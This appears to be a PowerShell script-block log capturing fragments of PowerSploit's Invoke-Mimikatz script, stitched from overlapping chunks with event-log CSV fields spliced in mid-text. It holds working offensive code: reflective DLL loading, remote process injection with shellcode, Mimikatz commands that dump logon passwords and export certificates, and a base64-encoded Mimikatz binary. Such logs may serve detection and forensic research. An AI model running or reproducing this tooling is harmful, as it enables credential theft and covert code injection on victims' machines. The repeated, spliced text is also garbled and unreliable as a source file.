$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw ""Couldn't obtain the handle for process ID: $ProcId""
}
Write-Verbose ""Got the handle for the remote process to inject in to""
}
#Load the PE reflectively
Write-Verbose ""Calling Invoke-MemoryLoadLibrary""
try
{
$Processors = Get-WmiObject -Class Win32_Processor
}
catch
{
throw ($_.Exception)
}
if ($Processors -is [array])
{
$Processor = $Processors[0]
} else {
$Processor = $Processors
}
if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) )
{
Write-Verbose ( ""Architecture: "" + $Processor.AddressWidth + "" Process: "" + ([System.IntPtr]::Size * 8))
Write-Error ""PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS."" -ErrorAction Stop
}
#Determine whether or not to use 32bit or 64bit bytes
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8)
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64)
}
else
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
}
$PEBytes[0] = 0
$PEBytes[1] = 0
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw ""Unable to load PE, handle returned is NULL""
}
$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
#Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
#########################################
### YOUR CODE GOES HERE
#########################################
Write-Verbose ""Calling function with WString return type""
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""powershell_reflective_mimikatz""
if ($WStringFuncAddr -eq [IntPtr]::Zero)
{
Throw ""Couldn't find function address.""
}
$WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
$WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs)
[IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput)
if ($OutputPtr -eq [IntPtr]::Zero)
{
Throw ""Unable to get output, Output Ptr is NULL""
}
else
{
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
Write-Output $Output
$Win32Functions.LocalFree.Invoke($OutputPtr);
}
#########################################
### END OF YOUR CODE
#########################################
}
#For remote DLL injection, call a void function which takes no parameters
elseif (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""VoidFunc""
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw ""VoidFunc couldn't be found in the DLL""
}
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
}
#Don't free a library if it is injected in a remote process
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else
{
#Just delete the memory allocated in PowerShell to build the PE before injecting to remote process
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue
}
}
Write-Verbose ""Done!""
}
Main
}
#Main function to either run the script locally or remotely
Function Main
{
if (($PSCmdlet.MyInvocation.BoundParameters[""Debug""] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters[""Debug""].IsPresent)
{
$DebugPreference = ""Continue""
}
Write-Verbose ""PowerShell ProcessID: $PID""
if ($PsCmdlet.ParameterSetName -ieq ""DumpCreds"")
{
$ExeArgs = ""sekurlsa::logonpasswords exit""
}
elseif ($PsCmdlet.ParameterSetName -ieq ""DumpCerts"")
{
$ExeArgs = ""crypto::cng crypto::capi `""crypto::certificates /export`"" `""crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`"" exit""
}
else
{
$ExeArgs = $Command
}
[System.IO.Directory]::SetCurrentDirectory($pwd)
# 2.1 (x64) 20161029 OJ Edition!
# SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158
# VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/
$PEBytes64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABnB4EsI2bvfyNm738jZu9/l/oefyZm73+X+hx/tmbvf5f6HX8tZu9/GDjsfiRm738YOOp+Nmbvfxg4634xZu9/RYgkfydm738qHmh/IWbvf1X7lH8lZu9/Kh58fz5m738jZu5/smfvf7Q4535vZu9/tDjvfiJm73+xOBB/Imbvf7Q47X4iZu9/UmljaCNm738AAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBTAyVYAAAAAAAAAADwACIgCwIOAAB4CAAAlAQAAAAAAGh1BgAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAYA0AAAQAAAAAAAADAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAPAjDABgAAAAUCQMAJABAAAAMA0AiAIAAADQDAAwTgAAAAAAAAAAAAAAQA0AWBIAAFDsCwAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcOwLAJQAAAAAAAAAAAAAAACQCAC4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAwdggAABAAAAB4CAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAIsEDAACQCAAAwgMAAHwIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJxmAAAAYAwAAEwAAAA+DAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAAwTgAAANAMAABQAAAAigwAAAAAAAAAAAAAAAAAQAAAQC5nZmlkcwAAmAAAAAAgDQAAAgAAANoMAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAIgCAAAAMA0AAAQAAADcDAAAAAAAAAAAAAAAAABAAABALnJlbG9jAABYEgAAAEANAAAUAAAA4AwAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBYG2DADDTIlEJBhMiUwkIFNVVldIg+w4SYvwSI1sJHhIi9pIi/no0////0iJbCQoTIvOSINkJCAATIvDSIvXSIsI6Ee1BgCDyf+FwA9IwUiDxDhfXl1bw8zMQFNIg+xwSIvCSIvZSIvISI1UJFD/FTKHCACFwHR3D7dUJFpIjUwkYEQPt0QkWA+3RCRcRA+3VCRWRA+3XCRSRA+3TCRQiUQkQIlUJDi6EAAAAESJRCQwTI0F9gsJAESJVCQoRIlcJCDoP////4XAfiRMjUwkYEjHRCQgDwAAAEG4GAAAAEiNFegLCQBIi8v/FQeKCABIg8RwW8PMQFNIg+xASIvZQbABSI1MJDD/FTmLCACFwHgvD7dEJDBIjRWxCwkATItMJDhBuBsAAABIi8uJRCQg/xXBiQgASI1MJDD/Ff6KCABIg8RAW8NIi8REiUggRIlAGEiJUBBIiUgIVVNWV0FUQVVBVkFXSI1ooUiB7IgAAAAz20iNTedEi+tIiR0esAwASI09F7AMAP8VyYEIAESNSxJFM8Az0kiNTef/FQaICABMi/BIg/j/D4QLAwAAi/OJXX9IjUX3x0X3IAAAAESLzkiJRCQgTI1F5zPSSYvO/xXafb55df30-b22e-428c-9941-1d18b4570d38C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-Mimikatz.ps1",,4104,122255,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,7,120,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-Mimikatz.ps1",,,"'5388'",,,,,,122255,,,,"fb55df30-b22e-428c-9941-1d18b4570d38","ible -eq $true)
{
Write-Verbose ""Update memory protection flags""
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
}
else
{
Write-Verbose ""PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute""
}
}
else
{
Write-Verbose ""PE being loaded in to a remote process, not adjusting memory permissions""
}
#If remote loading, copy the DLL in to remote process memory
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw ""Unable to write shellcode to remote process memory.""
}
}
#Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
if ($PEInfo.FileType -ieq ""DLL"")
{
if ($RemoteLoading -eq $false)
{
Write-Verbose ""Calling dllmain so the DLL knows it has been loaded""
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
if ($PEInfo.PE64Bit -eq $true)
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw ""Unable to allocate memory in the remote process for shellcode""
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw ""Unable to write shellcode to remote process memory.""
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw ""Call to CreateRemoteThread to call GetProcAddress failed.""
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
}
elseif ($PEInfo.FileType -ieq ""EXE"")
{
#Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
Write-Verbose ""Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in.""
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
Write-Verbose ""EXE thread has completed.""
break
}
else
{
Start-Sleep -Seconds 1
}
}
}
return @($PEInfo.PEHandle, $EffectivePEHandle)
}
Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)
#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Call FreeLibrary for all the imports of the DLL
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
Write-Verbose ""Done unloading the libraries needed by the PE""
break
}
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
if ($ImportDllHandle -eq $null)
{
Write-Warning ""Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways"" -WarningAction Continue
}
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
Write-Warning ""Unable to free library: $ImportDllPath. Continuing anyways."" -WarningAction Continue
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
#Call DllMain with process detach
Write-Verbose ""Calling dllmain so the DLL knows it is being unloaded""
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue
}
}
Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$RemoteProcHandle = [IntPtr]::Zero
#If a remote process to inject in to is specified, get a handle to it
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne """"))
{
Throw ""Can't supply a ProcId and ProcName, choose one or the other""
}
elseif ($ProcName -ne $null -and $ProcName -ne """")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw ""Can't find process $ProcName""
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo
Throw ""More than one instance of $ProcName found, please specify the process ID to inject in to.""
}
else
{
$ProcId = $Processes[0].ID
}
}
#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
# {
# Write-Verbose ""Getting SeDebugPrivilege""
# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
# }
if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw ""Couldn't obtain the handle for process ID: $ProcId""
}
Write-Verbose ""Got the handle for the remote process to inject in to""
}
#Load the PE reflectively
Write-Verbose ""Calling Invoke-MemoryLoadLibrary""
try
{
$Processors = Get-WmiObject -Class Win32_Processor
}
catch
{
throw ($_.Exception)
}
if ($Processors -is [array])
{
$Processor = $Processors[0]
} else {
$Processor = $Processors
}
if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) )
{
Write-Verbose ( ""Architecture: "" + $Processor.AddressWidth + "" Process: "" + ([System.IntPtr]::Size * 8))
Write-Error ""PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS."" -ErrorAction Stop
}
#Determine whether or not to use 32bit or 64bit bytes
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8)
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64)
}
else
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
}
$PEBytes[0] = 0
$PEBytes[1] = 0
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw ""Unable to load PE, handle returned is NULL""
}
$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
#Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
#########################################
### YOUR CODE GOES HERE
#########################################
Write-Verbose ""Calling function with WString return type""
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""powershell_reflective_mimikatz""
if ($WStringFuncAddr -eq [IntPtr]::Zero)
{
Throw ""Couldn't find function address.""
}
$WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
$WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs)
[IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput)
if ($OutputPtr -eq [IntPtr]::Zero)
{
Throw ""Unable to get output, Output Ptr is NULL""
}
else
{
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
Write-Output $Output
$Win32Functions.LocalFree.Invoke($OutputPtr);
}
#########################################
### END OF YOUR CODE
#########################################
}
#For remote DLL injection, call a void function which takes no parameters
elseif (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""VoidFunc""
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw ""VoidFunc couldn't be found in the DLL""
}
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
}
#Don't free a library if it is injected in a remote process
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else
{
#Just delete the memory allocated in PowerShell to build the PE before injecting to remote process
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue
}
}
Write-Verbose ""Done!""
}
Main
}
#Main function to either run the script locally or remotely
Function Main
{
if (($PSCmdlet.MyInvocation.BoundParameters[""Debug""] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters[""Debug""].IsPresent)
{
$DebugPreference = ""Continue""
}
Write-Verbose ""PowerShell ProcessID: $PID""
if ($PsCmdlet.ParameterSetName -ieq ""DumpCreds"")
{
$ExeArgs = ""sekurlsa::logonpasswords exit""
}
elseif ($PsCmdlet.ParameterSetName -ieq ""DumpCerts"")
{
$ExeArgs = ""crypto::cng crypto::capi `""crypto::certificates /export`"" `""crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`"" exit""
}
else
{
$ExeArgs = $Command
}
[System.IO.Directory]::SetCurrentDirectory($pwd)
# 2.1 (x64) 20161029 OJ Edition!
# SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158
# VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/
$PEBytes64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABnB4EsI2bvfyNm738jZu9/l/oefyZm73+X+hx/tmbvf5f6HX8tZu9/GDjsfiRm738YOOp+Nmbvfxg4634xZu9/RYgkfydm738qHmh/IWbvf1X7lH8lZu9/Kh58fz5m738jZu5/smfvf7Q4535vZu9/tDjvfiJm73+xOBB/Imbvf7Q47X4iZu9/UmljaCNm738AAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBTAyVYAAAAAAAAAADwACIgCwIOAAB4CAAAlAQAAAAAAGh1BgAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAYA0AAAQAAAAAAAADAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAPAjDABgAAAAUCQMAJABAAAAMA0AiAIAAADQDAAwTgAAAAAAAAAAAAAAQA0AWBIAAFDsCwAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcOwLAJQAAAAAAAAAAAAAAACQCAC4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAwdggAABAAAAB4CAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAIsEDAACQCAAAwgMAAHwIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJxmAAAAYAwAAEwAAAA+DAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAAwTgAAANAMAABQAAAAigwAAAAAAAAAAAAAAAAAQAAAQC5nZmlkcwAAmAAAAAAgDQAAAgAAANoMAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAIgCAAAAMA0AAAQAAADcDAAAAAAAAAAAAAAAAABAAABALnJlbG9jAABYEgAAAEANAAAUAAAA4AwAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBYG2DADDTIlEJBhMiUwkIFNVVldIg+w4SYvwSI1sJHhIi9pIi/no0////0iJbCQoTIvOSINkJCAATIvDSIvXSIsI6Ee1BgCDyf+FwA9IwUiDxDhfXl1bw8zMQFNIg+xwSIvCSIvZSIvISI1UJFD/FTKHCACFwHR3D7dUJFpIjUwkYEQPt0QkWA+3RCRcRA+3VCRWRA+3XCRSRA+3TCRQiUQkQIlUJDi6EAAAAESJRCQwTI0F9gsJAESJVCQoRIlcJCDoP////4XAfiRMjUwkYEjHRCQgDwAAAEG4GAAAAEiNFegLCQBIi8v/FQeKCABIg8RwW8PMQFNIg+xASIvZQbABSI1MJDD/FTmLCACFwHgvD7dEJDBIjRWxCwkATItMJDhBuBsAAABIi8uJRCQg/xXBiQgASI1MJDD/Ff6KCABIg8RAW8NIi8REiUggRIlAGEiJUBBIiUgIVVNWV0FUQVVBVkFXSI1ooUiB7IgAAAAz20iNTedEi+tIiR0esAwASI09F7AMAP8VyYEIAESNSxJFM8Az0kiNTef/